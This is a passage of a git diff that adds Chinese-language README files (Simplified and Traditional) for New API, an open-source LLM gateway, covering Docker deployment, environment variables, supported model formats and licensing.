+# 克隆项目
+git clone https://github.com/QuantumNous/new-api.git
+cd new-api
+
+# 编辑 docker-compose.yml 配置
+nano docker-compose.yml
+
+# 启动服务
+docker-compose up -d
+```
+
+<details>
+<summary><strong>使用 Docker 命令</strong></summary>
+
+```bash
+# 拉取最新镜像
+docker pull calciumion/new-api:latest
+
+# 使用 SQLite（默认）
+docker run --name new-api -d --restart always \
+  -p 3000:3000 \
+  -e TZ=Asia/Shanghai \
+  -v ./data:/data \
+  calciumion/new-api:latest
+
+# 使用 MySQL
+docker run --name new-api -d --restart always \
+  -p 3000:3000 \
+  -e SQL_DSN="root:123456@tcp(localhost:3306)/oneapi" \
+  -e TZ=Asia/Shanghai \
+  -v ./data:/data \
+  calciumion/new-api:latest
+```
+
+> **💡 提示：** `-v ./data:/data` 会将数据保存在当前目录的 `data` 文件夹中，你也可以改为绝对路径如 `-v /your/custom/path:/data`
+
+</details>
+
+---
+
+🎉 部署完成后，访问 `http://localhost:3000` 即可使用！
+
+📖 更多部署方式请参考 [部署指南](https://docs.newapi.pro/zh/docs/installation)
+
+---
+
+## 📚 文档
+
+<div align="center">
+
+### 📖 [官方文档](https://docs.newapi.pro/zh/docs) | [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/QuantumNous/new-api)
+
+</div>
+
+**快速导航：**
+
+| 分类 | 链接 |
+|------|------|
+| 🚀 部署指南 | [安装文档](https://docs.newapi.pro/zh/docs/installation) |
+| ⚙️ 环境配置 | [环境变量](https://docs.newapi.pro/zh/docs/installation/config-maintenance/environment-variables) |
+| 📡 接口文档 | [API 文档](https://docs.newapi.pro/zh/docs/api) |
+| ❓ 常见问题 | [FAQ](https://docs.newapi.pro/zh/docs/support/faq) |
+| 💬 社区交流 | [交流渠道](https://docs.newapi.pro/zh/docs/support/community-interaction) |
+
+---
+
+## ✨ 主要特性
+
+> 详细特性请参考 [特性说明](https://docs.newapi.pro/zh/docs/guide/wiki/basic-concepts/features-introduction)
+
+### 🎨 核心功能
+
+| 特性 | 说明 |
+|------|------|
+| 🎨 全新 UI | 现代化的用户界面设计 |
+| 🌍 多语言 | 支持中文、英文、法语、日语 |
+| 🔄 数据兼容 | 完全兼容原版 One API 数据库 |
+| 📈 数据看板 | 可视化控制台与统计分析 |
+| 🔒 权限管理 | 令牌分组、模型限制、用户管理 |
+
+### 💰 支付与计费
+
+- ✅ 在线充值（易支付、Stripe）
+- ✅ 模型按次数收费
+- ✅ 缓存计费支持（OpenAI、Azure、DeepSeek、Claude、Qwen等所有支持的模型）
+- ✅ 灵活的计费策略配置
+
+### 🔐 授权与安全
+
+- 😈 Discord 授权登录
+- 🤖 LinuxDO 授权登录
+- 📱 Telegram 授权登录
+- 🔑 OIDC 统一认证
+- 🔍 Key 查询使用额度（配合 [neko-api-key-tool](https://github.com/Calcium-Ion/neko-api-key-tool)）
+
+### 🚀 高级功能
+
+**API 格式支持：**
+- ⚡ [OpenAI Responses](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/create-response)
+- ⚡ [OpenAI Realtime API](https://docs.newapi.pro/zh/docs/api/ai-model/realtime/create-realtime-session)（含 Azure）
+- ⚡ [Claude Messages](https://docs.newapi.pro/zh/docs/api/ai-model/chat/create-message)
+- ⚡ [Google Gemini](https://doc.newapi.pro/api/google-gemini-chat)
+- 🔄 [Rerank 模型](https://docs.newapi.pro/zh/docs/api/ai-model/rerank/create-rerank)（Cohere、Jina）
+
+**智能路由：**
+- ⚖️ 渠道加权随机
+- 🔄 失败自动重试
+- 🚦 用户级别模型限流
+
+**格式转换：**
+- 🔄 **OpenAI Compatible ⇄ Claude Messages**
+- 🔄 **OpenAI Compatible → Google Gemini**
+- 🔄 **Google Gemini → OpenAI Compatible** - 仅支持文本，暂不支持函数调用
+- 🚧 **OpenAI Compatible ⇄ OpenAI Responses** - 开发中
+- 🔄 **思考转内容功能**
+
+**Reasoning Effort 支持：**
+
+<details>
+<summary>查看详细配置</summary>
+
+**OpenAI 系列模型：**
+- `o3-mini-high` - High reasoning effort
+- `o3-mini-medium` - Medium reasoning effort
+- `o3-mini-low` - Low reasoning effort
+- `gpt-5-high` - High reasoning effort
+- `gpt-5-medium` - Medium reasoning effort
+- `gpt-5-low` - Low reasoning effort
+
+**Claude 思考模型：**
+- `claude-3-7-sonnet-20250219-thinking` - 启用思考模式
+
+**Google Gemini 系列模型：**
+- `gemini-2.5-flash-thinking` - 启用思考模式
+- `gemini-2.5-flash-nothinking` - 禁用思考模式
+- `gemini-2.5-pro-thinking` - 启用思考模式
+- `gemini-2.5-pro-thinking-128` - 启用思考模式，并设置思考预算为128tokens
+- 也可以直接在 Gemini 模型名称后追加 `-low` / `-medium` / `-high` 来控制思考力度（无需再设置思考预算后缀）
+
+</details>
+
+---
+
+## 🤖 模型支持
+
+> 详情请参考 [接口文档 - 中继接口](https://docs.newapi.pro/zh/docs/api)
+
+| 模型类型 | 说明 | 文档 |
+|---------|------|------|
+| 🤖 OpenAI-Compatible | OpenAI 兼容模型 | [文档](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/createchatcompletion) |
+| 🤖 OpenAI Responses | OpenAI Responses 格式 | [文档](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/createresponse) |
+| 🎨 Midjourney-Proxy | [Midjourney-Proxy(Plus)](https://github.com/novicezk/midjourney-proxy) | [文档](https://doc.newapi.pro/api/midjourney-proxy-image) |
+| 🎵 Suno-API | [Suno API](https://github.com/Suno-API/Suno-API) | [文档](https://doc.newapi.pro/api/suno-music) |
+| 🔄 Rerank | Cohere、Jina | [文档](https://docs.newapi.pro/zh/docs/api/ai-model/rerank/create-rerank) |
+| 💬 Claude | Messages 格式 | [文档](https://docs.newapi.pro/zh/docs/api/ai-model/chat/createmessage) |
+| 🌐 Gemini | Google Gemini 格式 | [文档](https://docs.newapi.pro/zh/docs/api/ai-model/chat/gemini/geminirelayv1beta) |
+| 🔧 Dify | ChatFlow 模式 | - |
+| 🎯 自定义 | 支持完整调用地址 | - |
+
+### 📡 支持的接口
+
+<details>
+<summary>查看完整接口列表</summary>
+
+- [聊天接口 (Chat Completions)](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/createchatcompletion)
+- [响应接口 (Responses)](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/createresponse)
+- [图像接口 (Image)](https://docs.newapi.pro/zh/docs/api/ai-model/images/openai/post-v1-images-generations)
+- [音频接口 (Audio)](https://docs.newapi.pro/zh/docs/api/ai-model/audio/openai/create-transcription)
+- [视频接口 (Video)](https://docs.newapi.pro/zh/docs/api/ai-model/audio/openai/createspeech)
+- [嵌入接口 (Embeddings)](https://docs.newapi.pro/zh/docs/api/ai-model/embeddings/createembedding)
+- [重排序接口 (Rerank)](https://docs.newapi.pro/zh/docs/api/ai-model/rerank/creatererank)
+- [实时对话 (Realtime)](https://docs.newapi.pro/zh/docs/api/ai-model/realtime/createrealtimesession)
+- [Claude 聊天](https://docs.newapi.pro/zh/docs/api/ai-model/chat/createmessage)
+- [Google Gemini 聊天](https://docs.newapi.pro/zh/docs/api/ai-model/chat/gemini/geminirelayv1beta)
+
+</details>
+
+---
+
+## 🚢 部署
+
+> [!TIP]
+> **最新版 Docker 镜像：** `calciumion/new-api:latest`
+
+### 📋 部署要求
+
+| 组件 | 要求 |
+|------|------|
+| **本地数据库** | SQLite（Docker 需挂载 `/data` 目录）|
+| **远程数据库** | MySQL ≥ 5.7.8 或 PostgreSQL ≥ 9.6 |
+| **容器引擎** | Docker / Docker Compose |
+
+### ⚙️ 环境变量配置
+
+<details>
+<summary>常用环境变量配置</summary>
+
+| 变量名 | 说明                                                           | 默认值 |
+|--------|--------------------------------------------------------------|--------|
+| `SESSION_SECRET` | 会话密钥（多机部署必须）                                                 | - |
+| `CRYPTO_SECRET` | 加密密钥（Redis 必须）                                               | - |
+| `SQL_DSN` | 数据库连接字符串                                                     | - |
+| `REDIS_CONN_STRING` | Redis 连接字符串                                                  | - |
+| `STREAMING_TIMEOUT` | 流式超时时间（秒）                                                    | `300` |
+| `STREAM_SCANNER_MAX_BUFFER_MB` | 流式扫描器单行最大缓冲（MB），图像生成等超大 `data:` 片段（如 4K 图片 base64）需适当调大 | `64` |
+| `MAX_REQUEST_BODY_MB` | 请求体最大大小（MB，**解压后**计；防止超大请求/zip bomb 导致内存暴涨），超过将返回 `413` | `32` |
+| `AZURE_DEFAULT_API_VERSION` | Azure API 版本                                                 | `2025-04-01-preview` |
+| `ERROR_LOG_ENABLED` | 错误日志开关                                                       | `false` |
+| `PYROSCOPE_URL` | Pyroscope 服务地址                                            | - |
+| `PYROSCOPE_APP_NAME` | Pyroscope 应用名                                        | `new-api` |
+| `PYROSCOPE_BASIC_AUTH_USER` | Pyroscope Basic Auth 用户名                        | - |
+| `PYROSCOPE_BASIC_AUTH_PASSWORD` | Pyroscope Basic Auth 密码                  | - |
+| `PYROSCOPE_MUTEX_RATE` | Pyroscope mutex 采样率                               | `5` |
+| `PYROSCOPE_BLOCK_RATE` | Pyroscope block 采样率                               | `5` |
+| `HOSTNAME` | Pyroscope 标签里的主机名                                          | `new-api` |
+
+📖 **完整配置：** [环境变量文档](https://docs.newapi.pro/zh/docs/installation/config-maintenance/environment-variables)
+
+</details>
+
+### 🔧 部署方式
+
+<details>
+<summary><strong>方式 1：Docker Compose（推荐）</strong></summary>
+
+```bash
+# 克隆项目
+git clone https://github.com/QuantumNous/new-api.git
+cd new-api
+
+# 编辑配置
+nano docker-compose.yml
+
+# 启动服务
+docker-compose up -d
+```
+
+</details>
+
+<details>
+<summary><strong>方式 2：Docker 命令</strong></summary>
+
+**使用 SQLite：**
+```bash
+docker run --name new-api -d --restart always \
+  -p 3000:3000 \
+  -e TZ=Asia/Shanghai \
+  -v ./data:/data \
+  calciumion/new-api:latest
+```
+
+**使用 MySQL：**
+```bash
+docker run --name new-api -d --restart always \
+  -p 3000:3000 \
+  -e SQL_DSN="root:123456@tcp(localhost:3306)/oneapi" \
+  -e TZ=Asia/Shanghai \
+  -v ./data:/data \
+  calciumion/new-api:latest
+```
+
+> **💡 路径说明：**
+> - `./data:/data` - 相对路径，数据保存在当前目录的 data 文件夹
+> - 也可使用绝对路径，如：`/your/custom/path:/data`
+
+</details>
+
+<details>
+<summary><strong>方式 3：宝塔面板</strong></summary>
+
+1. 安装宝塔面板（≥ 9.2.0 版本）
+2. 在应用商店搜索 **New-API**
+3. 一键安装
+
+📖 [图文教程](./docs/installation/BT.md)
+
+</details>
+
+### ⚠️ 多机部署注意事项
+
+> [!WARNING]
+> - **必须设置** `SESSION_SECRET` - 否则登录状态不一致
+> - **公用 Redis 必须设置** `CRYPTO_SECRET` - 否则数据无法解密
+
+### 🔄 渠道重试与缓存
+
+**重试配置：** `设置 → 运营设置 → 通用设置 → 失败重试次数`
+
+**缓存配置：**
+- `REDIS_CONN_STRING`：Redis 缓存（推荐）
+- `MEMORY_CACHE_ENABLED`：内存缓存
+
+---
+
+## 🔗 相关项目
+
+### 上游项目
+
+| 项目 | 说明 |
+|------|------|
+| [One API](https://github.com/songquanpeng/one-api) | 原版项目基础 |
+| [Midjourney-Proxy](https://github.com/novicezk/midjourney-proxy) | Midjourney 接口支持 |
+
+### 配套工具
+
+| 项目 | 说明 |
+|------|------|
+| [neko-api-key-tool](https://github.com/Calcium-Ion/neko-api-key-tool) | Key 额度查询工具 |
+| [new-api-horizon](https://github.com/Calcium-Ion/new-api-horizon) | New API 高性能优化版 |
+
+---
+
+## 💬 帮助支持
+
+### 📖 文档资源
+
+| 资源 | 链接 |
+|------|------|
+| 📘 常见问题 | [FAQ](https://docs.newapi.pro/zh/docs/support/faq) |
+| 💬 社区交流 | [交流渠道](https://docs.newapi.pro/zh/docs/support/community-interaction) |
+| 🐛 反馈问题 | [问题反馈](https://docs.newapi.pro/zh/docs/support/feedback-issues) |
+| 📚 完整文档 | [官方文档](https://docs.newapi.pro/zh/docs) |
+
+### 🤝 贡献指南
+
+欢迎各种形式的贡献！
+
+- 🐛 报告 Bug
+- 💡 提出新功能
+- 📝 改进文档
+- 🔧 提交代码
+
+---
+
+## 📜 许可证
+
+本项目采用 [GNU Affero 通用公共许可证 v3.0 (AGPLv3)](./LICENSE) 授权。
+
+本项目为开源项目，在 [One API](https://github.com/songquanpeng/one-api)（MIT 许可证）的基础上进行二次开发。
+
+如果您所在的组织政策不允许使用 AGPLv3 许可的软件，或您希望规避 AGPLv3 的开源义务，请发送邮件至：[support@quantumnous.com](mailto:support@quantumnous.com)
+
+---
+
+## 🌟 Star History
+
+<div align="center">
+
+[![Star History Chart](https://api.star-history.com/svg?repos=Calcium-Ion/new-api&type=Date)](https://star-history.com/#Calcium-Ion/new-api&Date)
+
+</div>
+
+---
+
+<div align="center">
+
+### 💖 感谢使用 New API
+
+如果这个项目对你有帮助，欢迎给我们一个 ⭐️ Star！
+
+**[官方文档](https://docs.newapi.pro/zh/docs)** • **[问题反馈](https://github.com/Calcium-Ion/new-api/issues)** • **[最新发布](https://github.com/Calcium-Ion/new-api/releases)**
+
+<sub>Built with ❤️ by QuantumNous</sub>
+
+</div>
diff --git a/new-api/README.zh_TW.md b/new-api/README.zh_TW.md
new file mode 100644
index 0000000..9041215
--- /dev/null
+++ b/new-api/README.zh_TW.md
@@ -0,0 +1,476 @@
+<div align="center">
+
+![new-api](/web/default/public/logo.png)
+
+# New API
+
+🍥 **新一代大模型網關與AI資產管理系統**
+
+<p align="center">
+  繁體中文 |
+  <a href="./README.zh_CN.md">简体中文</a> |
+  <a href="./README.md">English</a> |
+  <a href="./README.fr.md">Français</a> |
+  <a href="./README.ja.md">日本語</a>
+</p>
+
+<p align="center">
+  <a href="https://raw.githubusercontent.com/Calcium-Ion/new-api/main/LICENSE">
+    <img src="https://img.shields.io/github/license/Calcium-Ion/new-api?color=brightgreen" alt="license">
+  </a>
+  <a href="https://github.com/Calcium-Ion/new-api/releases/latest">
+    <img src="https://img.shields.io/github/v/release/Calcium-Ion/new-api?color=brightgreen&include_prereleases" alt="release">
+  </a>
+  <a href="https://hub.docker.com/r/CalciumIon/new-api">
+    <img src="https://img.shields.io/badge/docker-dockerHub-blue" alt="docker">
+  </a>
+  <a href="https://goreportcard.com/report/github.com/Calcium-Ion/new-api">
+    <img src="https://goreportcard.com/badge/github.com/Calcium-Ion/new-api" alt="GoReportCard">
+  </a>
+</p>
+
+<p align="center">
+  <a href="https://trendshift.io/repositories/20180" target="_blank">
+    <img src="https://trendshift.io/api/badge/repositories/20180" alt="QuantumNous%2Fnew-api | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/>
+  </a>
+  <br>
+  <a href="https://hellogithub.com/repository/QuantumNous/new-api" target="_blank">
+    <img src="https://api.hellogithub.com/v1/widgets/recommend.svg?rid=539ac4217e69431684ad4a0bab768811&claim_uid=tbFPfKIDHpc4TzR" alt="Featured｜HelloGitHub" style="width: 250px; height: 54px;" width="250" height="54" />
+  </a>
+  <a href="https://www.producthunt.com/products/new-api/launches/new-api?embed=true&utm_source=badge-featured&utm_medium=badge&utm_campaign=badge-new-api" target="_blank" rel="noopener noreferrer">
+    <img src="https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=1047693&theme=light&t=1769577875005" alt="New API - All-in-one AI asset management gateway. | Product Hunt" style="width: 250px; height: 54px;" width="250" height="54" />
+  </a>
+</p>
+
+<p align="center">
+  <a href="#-快速開始">快速開始</a> •
+  <a href="#-主要特性">主要特性</a> •
+  <a href="#-部署">部署</a> •
+  <a href="#-文件">文件</a> •
+  <a href="#-幫助支援">幫助</a>
+</p>
+
+</div>
+
+## 📝 項目說明
+
+> [!IMPORTANT]
+> - 本項目僅供個人學習使用，不保證穩定性，且不提供任何技術支援
+> - 使用者必須在遵循 OpenAI 的 [使用條款](https://openai.com/policies/terms-of-use) 以及**法律法規**的情況下使用，不得用於非法用途
+> - 根據 [《生成式人工智慧服務管理暫行辦法》](http://www.cac.gov.cn/2023-07/13/c_1690898327029107.htm) 的要求，請勿對中國地區公眾提供一切未經備案的生成式人工智慧服務
+
+---
+
+## 🤝 我們信任的合作伙伴
+
+<p align="center">
+  <em>排名不分先後</em>
+</p>
+
+<p align="center">
+  <a href="https://www.cherry-ai.com/" target="_blank">
+    <img src="./docs/images/cherry-studio.png" alt="Cherry Studio" height="80" />
+  </a><!--
+  --><a href="https://github.com/iOfficeAI/AionUi/" target="_blank">
+    <img src="./docs/images/aionui.png" alt="Aion UI" height="80" />
+  </a><!--
+  --><a href="https://bda.pku.edu.cn/" target="_blank">
+    <img src="./docs/images/pku.png" alt="北京大學" height="80" />
+  </a><!--
+  --><a href="https://www.compshare.cn/?ytag=GPU_yy_gh_newapi" target="_blank">
+    <img src="./docs/images/ucloud.png" alt="UCloud 優刻得" height="80" />
+  </a><!--
+  --><a href="https://www.aliyun.com/" target="_blank">
+    <img src="./docs/images/aliyun.png" alt="阿里雲" height="80" />
+  </a><!--
+  --><a href="https://io.net/" target="_blank">
+    <img src="./docs/images/io-net.png" alt="IO.NET" height="80" />
+  </a>
+</p>
+
+---
+
+## 🙏 特別鳴謝
+
+<p align="center">
+  <a href="https://www.jetbrains.com/?from=new-api" target="_blank">
+    <img src="https://resources.jetbrains.com/storage/products/company/brand/logos/jb_beam.png" alt="JetBrains Logo" width="120" />
+  </a>
+</p>
+
+<p align="center">
+  <strong>感謝 <a href="https://www.jetbrains.com/?from=new-api">JetBrains</a> 為本項目提供免費的開源開發許可證</strong>
+</p>
+
+---
+
+## 🚀 快速開始
+
+### 使用 Docker Compose（推薦）
+
+```bash
+# 複製項目
+git clone https://github.com/QuantumNous/new-api.git
+cd new-api
+
+# 編輯 docker-compose.yml 配置
+nano docker-compose.yml
+
+# 啟動服務
+docker-compose up -d
+```
+
+<details>
+<summary><strong>使用 Docker 命令</strong></summary>
+
+```bash
+# 拉取最新鏡像
+docker pull calciumion/new-api:latest
+
+# 使用 SQLite（預設）
+docker run --name new-api -d --restart always \
+  -p 3000:3000 \
+  -e TZ=Asia/Shanghai \
+  -v ./data:/data \
+  calciumion/new-api:latest
+
+# 使用 MySQL
+docker run --name new-api -d --restart always \
+  -p 3000:3000 \
+  -e SQL_DSN="root:123456@tcp(localhost:3306)/oneapi" \
+  -e TZ=Asia/Shanghai \
+  -v ./data:/data \
+  calciumion/new-api:latest
+```
+
+> **💡 提示：** `-v ./data:/data` 會將數據保存在當前目錄的 `data` 資料夾中，你也可以改為絕對路徑如 `-v /your/custom/path:/data`
+
+</details>
+
+---
+
+🎉 部署完成後，訪問 `http://localhost:3000` 即可使用！
+
+📖 更多部署方式請參考 [部署指南](https://docs.newapi.pro/zh/docs/installation)
+
+---
+
+## 📚 文件
+
+<div align="center">
+
+### 📖 [官方文件](https://docs.newapi.pro/zh/docs) | [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/QuantumNous/new-api)
+
+</div>
+
+**快速導航：**
+
+| 分類 | 連結 |
+|------|------|
+| 🚀 部署指南 | [安裝文件](https://docs.newapi.pro/zh/docs/installation) |
+| ⚙️ 環境配置 | [環境變數](https://docs.newapi.pro/zh/docs/installation/config-maintenance/environment-variables) |
+| 📡 接口文件 | [API 文件](https://docs.newapi.pro/zh/docs/api) |
+| ❓ 常見問題 | [FAQ](https://docs.newapi.pro/zh/docs/support/faq) |
+| 💬 社群交流 | [交流管道](https://docs.newapi.pro/zh/docs/support/community-interaction) |
+
+---
+
+## ✨ 主要特性
+
+> 詳細特性請參考 [特性說明](https://docs.newapi.pro/zh/docs/guide/wiki/basic-concepts/features-introduction)
+
+### 🎨 核心功能
+
+| 特性 | 說明 |
+|------|------|
+| 🎨 全新 UI | 現代化的用戶界面設計 |
+| 🌍 多語言 | 支援簡體中文、繁體中文、英文、法語、日語 |
+| 🔄 數據兼容 | 完全兼容原版 One API 資料庫 |
+| 📈 數據看板 | 視覺化控制檯與統計分析 |
+| 🔒 權限管理 | 令牌分組、模型限制、用戶管理 |
+
+### 💰 支付與計費
+
+- ✅ 在線儲值（易支付、Stripe）
+- ✅ 模型按次數收費
+- ✅ 快取計費支援（OpenAI、Azure、DeepSeek、Claude、Qwen等所有支援的模型）
+- ✅ 靈活的計費策略配置
+
+### 🔐 授權與安全
+
+- 😈 Discord 授權登錄
+- 🤖 LinuxDO 授權登錄
+- 📱 Telegram 授權登錄
+- 🔑 OIDC 統一認證
+- 🔍 Key 查詢使用額度（配合 [neko-api-key-tool](https://github.com/Calcium-Ion/neko-api-key-tool)）
+
+### 🚀 高級功能
+
+**API 格式支援：**
+- ⚡ [OpenAI Responses](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/create-response)
+- ⚡ [OpenAI Realtime API](https://docs.newapi.pro/zh/docs/api/ai-model/realtime/create-realtime-session)（含 Azure）
+- ⚡ [Claude Messages](https://docs.newapi.pro/zh/docs/api/ai-model/chat/create-message)
+- ⚡ [Google Gemini](https://doc.newapi.pro/api/google-gemini-chat)
+- 🔄 [Rerank 模型](https://docs.newapi.pro/zh/docs/api/ai-model/rerank/create-rerank)（Cohere、Jina）
+
+**智慧路由：**
+- ⚖️ 管道加權隨機
+- 🔄 失敗自動重試
+- 🚦 用戶級別模型限流
+
+**格式轉換：**
+- 🔄 **OpenAI Compatible ⇄ Claude Messages**
+- 🔄 **OpenAI Compatible → Google Gemini**
+- 🔄 **Google Gemini → OpenAI Compatible** - 僅支援文本，暫不支援函數調用
+- 🚧 **OpenAI Compatible ⇄ OpenAI Responses** - 開發中
+- 🔄 **思考轉內容功能**
+
+**Reasoning Effort 支援：**
+
+<details>
+<summary>查看詳細配置</summary>
+
+**OpenAI 系列模型：**
+- `o3-mini-high` - High reasoning effort
+- `o3-mini-medium` - Medium reasoning effort
+- `o3-mini-low` - Low reasoning effort
+- `gpt-5-high` - High reasoning effort
+- `gpt-5-medium` - Medium reasoning effort
+- `gpt-5-low` - Low reasoning effort
+
+**Claude 思考模型：**
+- `claude-3-7-sonnet-20250219-thinking` - 啟用思考模式
+
+**Google Gemini 系列模型：**
+- `gemini-2.5-flash-thinking` - 啟用思考模式
+- `gemini-2.5-flash-nothinking` - 禁用思考模式
+- `gemini-2.5-pro-thinking` - 啟用思考模式
+- `gemini-2.5-pro-thinking-128` - 啟用思考模式，並設置思考預算為128tokens
+- 也可以直接在 Gemini 模型名稱後追加 `-low` / `-medium` / `-high` 來控制思考力道（無需再設置思考預算後綴）
+
+</details>
+
+---
+
+## 🤖 模型支援
+
+> 詳情請參考 [接口文件 - 中繼接口](https://docs.newapi.pro/zh/docs/api)
+
+| 模型類型 | 說明 | 文件 |
+|---------|------|------|
+| 🤖 OpenAI-Compatible | OpenAI 兼容模型 | [文件](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/createchatcompletion) |
+| 🤖 OpenAI Responses | OpenAI Responses 格式 | [文件](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/createresponse) |
+| 🎨 Midjourney-Proxy | [Midjourney-Proxy(Plus)](https://github.com/novicezk/midjourney-proxy) | [文件](https://doc.newapi.pro/api/midjourney-proxy-image) |
+| 🎵 Suno-API | [Suno API](https://github.com/Suno-API/Suno-API) | [文件](https://doc.newapi.pro/api/suno-music) |
+| 🔄 Rerank | Cohere、Jina | [文件](https://docs.newapi.pro/zh/docs/api/ai-model/rerank/create-rerank) |
+| 💬 Claude | Messages 格式 | [文件](https://docs.newapi.pro/zh/docs/api/ai-model/chat/createmessage) |
+| 🌐 Gemini | Google Gemini 格式 | [文件](https://docs.newapi.pro/zh/docs/api/ai-model/chat/gemini/geminirelayv1beta) |
+| 🔧 Dify | ChatFlow 模式 | - |
+| 🎯 自訂 | 支援完整調用位址 | - |
+
+### 📡 支援的接口
+
+<details>
+<summary>查看完整接口列表</summary>
+
+- [聊天接口 (Chat Completions)](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/createchatcompletion)
+- [響應接口 (Responses)](https://docs.newapi.pro/zh/docs/api/ai-model/chat/openai/createresponse)
+- [圖像接口 (Image)](https://docs.newapi.pro/zh/docs/api/ai-model/images/openai/post-v1-images-generations)
+- [音訊接口 (Audio)](https://docs.newapi.pro/zh/docs/api/ai-model/audio/openai/create-transcription)
+- [影片接口 (Video)](https://docs.newapi.pro/zh/docs/api/ai-model/audio/openai/createspeech)
+- [嵌入接口 (Embeddings)](https://docs.newapi.pro/zh/docs/api/ai-model/embeddings/createembedding)
+- [重排序接口 (Rerank)](https://docs.newapi.pro/zh/docs/api/ai-model/rerank/creatererank)
+- [即時對話 (Realtime)](https://docs.newapi.pro/zh/docs/api/ai-model/realtime/createrealtimesession)
+- [Claude 聊天](https://docs.newapi.pro/zh/docs/api/ai-model/chat/createmessage)
+- [Google Gemini 聊天](https://docs.newapi.pro/zh/docs/api/ai-model/chat/gemini/geminirelayv1beta)
+
+</details>
+
+---
+
+## 🚢 部署
+
+> [!TIP]
+> **最新版 Docker 鏡像：** `calciumion/new-api:latest`
+
+### 📋 部署要求
+
+| 組件 | 要求 |
+|------|------|
+| **本地資料庫** | SQLite（Docker 需掛載 `/data` 目錄）|
+| **遠端資料庫** | MySQL ≥ 5.7.8 或 PostgreSQL ≥ 9.6 |
+| **容器引擎** | Docker / Docker Compose |
+
+### ⚙️ 環境變數配置
+
+<details>
+<summary>常用環境變數配置</summary>
+
+| 變數名 | 說明                                                           | 預設值 |
+|--------|--------------------------------------------------------------|--------|
+| `SESSION_SECRET` | 會話密鑰（多機部署必須）                                                 | - |
+| `CRYPTO_SECRET` | 加密密鑰（Redis 必須）                                               | - |
+| `SQL_DSN` | 資料庫連接字符串                                                     | - |
+| `REDIS_CONN_STRING` | Redis 連接字符串                                                  | - |
+| `STREAMING_TIMEOUT` | 流式超時時間（秒）                                                    | `300` |
+| `STREAM_SCANNER_MAX_BUFFER_MB` | 流式掃描器單行最大緩衝（MB），圖像生成等超大 `data:` 片段（如 4K 圖片 base64）需適當調大 | `64` |
+| `MAX_REQUEST_BODY_MB` | 請求體最大大小（MB，**解壓縮後**計；防止超大請求/zip bomb 導致記憶體暴漲），超過將返回 `413` | `32` |
+| `AZURE_DEFAULT_API_VERSION` | Azure API 版本                                                 | `2025-04-01-preview` |
+| `ERROR_LOG_ENABLED` | 錯誤日誌開關                                                       | `false` |
+| `PYROSCOPE_URL` | Pyroscope 服務位址                                            | - |
+| `PYROSCOPE_APP_NAME` | Pyroscope 應用名                                        | `new-api` |
+| `PYROSCOPE_BASIC_AUTH_USER` | Pyroscope Basic Auth 用戶名                        | - |
+| `PYROSCOPE_BASIC_AUTH_PASSWORD` | Pyroscope Basic Auth 密碼                  | - |
+| `PYROSCOPE_MUTEX_RATE` | Pyroscope mutex 採樣率                               | `5` |
+| `PYROSCOPE_BLOCK_RATE` | Pyroscope block 採樣率                               | `5` |
+| `HOSTNAME` | Pyroscope 標籤裡的主機名                                          | `new-api` |
+
+📖 **完整配置：** [環境變數文件](https://docs.newapi.pro/zh/docs/installation/config-maintenance/environment-variables)
+
+</details>
+
+### 🔧 部署方式
+
+<details>
+<summary><strong>方式 1：Docker Compose（推薦）</strong></summary>
+
+```bash
+# 複製項目
+git clone https://github.com/QuantumNous/new-api.git
+cd new-api
+
+# 編輯配置
+nano docker-compose.yml
+
+# 啟動服務
+docker-compose up -d
+```
+
+</details>
+
+<details>
+<summary><strong>方式 2：Docker 命令</strong></summary>
+
+**使用 SQLite：**
+```bash
+docker run --name new-api -d --restart always \
+  -p 3000:3000 \
+  -e TZ=Asia/Shanghai \
+  -v ./data:/data \
+  calciumion/new-api:latest
+```
+
+**使用 MySQL：**
+```bash
+docker run --name new-api -d --restart always \
+  -p 3000:3000 \
+  -e SQL_DSN="root:123456@tcp(localhost:3306)/oneapi" \
+  -e TZ=Asia/Shanghai \
+  -v ./data:/data \
+  calciumion/new-api:latest
+```
+
+> **💡 路徑說明：**
+> - `./data:/data` - 相對路徑，數據保存在當前目錄的 data 資料夾
+> - 也可使用絕對路徑，如：`/your/custom/path:/data`
+
+</details>
+
+<details>
+<summary><strong>方式 3：寶塔面板</strong></summary>
+
+1. 安裝寶塔面板（≥ 9.2.0 版本）
+2. 在應用商店搜尋 **New-API**
+3. 一鍵安裝
+
+📖 [圖文教學](./docs/BT.md)
+
+</details>
+
+### ⚠️ 多機部署注意事項
+
+> [!WARNING]
+> - **必須設置** `SESSION_SECRET` - 否則登錄狀態不一致
+> - **公用 Redis 必須設置** `CRYPTO_SECRET` - 否則數據無法解密
+
+### 🔄 管道重試與快取
+
+**重試配置：** `設置 → 運營設置 → 通用設置 → 失敗重試次數`
+
+**快取配置：**
+- `REDIS_CONN_STRING`：Redis 快取（推薦）
+- `MEMORY_CACHE_ENABLED`：記憶體快取
+
+---
+
+## 🔗 相關項目
+
+### 上游項目
+
+| 項目 | 說明 |
+|------|------|
+| [One API](https://github.com/songquanpeng/one-api) | 原版項目基礎 |
+| [Midjourney-Proxy](https://github.com/novicezk/midjourney-proxy) | Midjourney 接口支援 |
+
+### 配套工具
+
+| 項目 | 說明 |
+|------|------|
+| [neko-api-key-tool](https://github.com/Calcium-Ion/neko-api-key-tool) | Key 額度查詢工具 |
+| [new-api-horizon](https://github.com/Calcium-Ion/new-api-horizon) | New API 高性能優化版 |
+
+---
+
+## 💬 幫助支援
+
+### 📖 文件資源
+
+| 資源 | 連結 |
+|------|------|
+| 📘 常見問題 | [FAQ](https://docs.newapi.pro/zh/docs/support/faq) |
+| 💬 社群交流 | [交流管道](https://docs.newapi.pro/zh/docs/support/community-interaction) |
+| 🐛 回饋問題 | [問題回饋](https://docs.newapi.pro/zh/docs/support/feedback-issues) |
+| 📚 完整文件 | [官方文件](https://docs.newapi.pro/zh/docs) |
+
+### 🤝 貢獻指南
+
